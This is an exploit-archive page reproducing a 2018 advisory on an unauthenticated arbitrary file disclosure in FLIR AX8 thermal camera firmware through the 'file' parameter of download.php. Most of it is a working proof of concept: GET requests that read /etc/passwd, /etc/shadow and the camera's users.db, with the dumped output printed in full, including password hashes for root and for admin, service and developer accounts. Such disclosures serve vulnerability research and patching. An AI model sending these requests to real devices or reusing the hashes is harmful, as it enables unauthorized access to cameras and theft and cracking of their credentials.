Flir ax8 thermal camera 1.32.16 arbitrary file disclosure Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-10-15 | Type : webapps | Platform : hardware
This exploit / vulnerability Flir ax8 thermal camera 1.32.16 arbitrary file disclosure is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: FLIR AX8 Thermal Camera 1.32.16 - Arbitrary File Disclosure
# Auhor: Gjoko 'LiquidWorm' Krstic
# Date: 2018-10-14
# Vendor: FLIR Systems, Inc.
# Product web page: https://www.flir.com
# Affected version: Firmware: 1.32.16, 1.17.13
# OS: neco_v1.8-0-g7ffe5b3
# Hardware: Flir Systems Neco Board
# Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l), lighttpd/1.4.33, PHP/5.4.14
# References:
# Advisory ID: ZSL-2018-5493
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5493.php

# Desc: The FLIR AX8 thermal sensor camera suffers from an unauthenticated arbitrary
# file disclosure vulnerability. Input passed via the 'file' parameter in download.php
# is not properly verified before being used to download config files. This can be
# exploited to disclose the contents of arbitrary files via absolute path.

# PoC
# 1. GET http://TARGET/download.php?file=/etc/passwd HTTP/1.1

root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
messagebus:x:999:998::/var/lib/dbus:/bin/false
fliruser:x:1000:1000::/home/fliruser:/bin/sh
xuser:x:1001:1001::/home/xuser:/bin/sh
sshd:x:998:995::/var/run/sshd:/bin/false
avahi:x:997:994::/var/run/avahi-daemon:/bin/false
avahi-autoipd:x:996:993:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false

# 2. GET http://TARGET/download.php?file=/etc/shadow HTTP/1.1

root:qA7LRQDa1amZM:17339:0:99999:7:::
daemon:*:17339:0:99999:7:::
bin:*:17339:0:99999:7:::
sys:*:17339:0:99999:7:::
sync:*:17339:0:99999:7:::
games:*:17339:0:99999:7:::
man:*:17339:0:99999:7:::
lp:*:17339:0:99999:7:::
mail:*:17339:0:99999:7:::
news:*:17339:0:99999:7:::
uucp:*:17339:0:99999:7:::
proxy:*:17339:0:99999:7:::
www-data:*:17339:0:99999:7:::
backup:*:17339:0:99999:7:::
list:*:17339:0:99999:7:::
irc:*:17339:0:99999:7:::
gnats:*:17339:0:99999:7:::
nobody:*:17339:0:99999:7:::
messagebus:!:17339:0:99999:7:::
fliruser:m1iiKYIJr63u2:17339:0:99999:7:::
xuser:!:17339:0:99999:7:::
sshd:!:17339:0:99999:7:::
avahi:!:17339:0:99999:7:::
avahi-autoipd:!:17339:0:99999:7:::

# 3. GET http://TARGET/download.php?file=/FLIR/system/profile.d/userPreset.tar HTTP/1.1
# GET http://TARGET/download.php?file=/FLIR/usr/www/FLIR/db/users.db HTTP/1.1

lqwrm@metalgear:~/$ sqlite3 users.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
roles users
sqlite> select * from roles;
1|admin
2|user
3|viewer
sqlite> select * from users;
1|admin||$2y$10$/J/KDhh0.UDg5pbwtPG9B.W2gEWrS36qHji1scgxO7uiTk1GuAa.K|1
2|user||$2y$10$O5Ybml6qN9caTjezQR0f8.z230PavQYUwmZCzMVxL6BMeNvLWEr9q|2
3|viewer||$2y$10$lxA0o325EuUtVAaTItBt.OSpZSfxIrT56ntm7326FQ/fTBc0ODWqq|3
4|service||$2y$10$syAL0yMLBfN/8.sciVnCE.kBto6mtVvjrmyhPQAo7oV3rq8X8pBke|4
5|developer||$2y$10$LBNcMBC/Bn3VVnhlI1j7huOZ.UOykGaq3VZ.YAgu0mAZXAQ8q36uG|5
sqlite>.q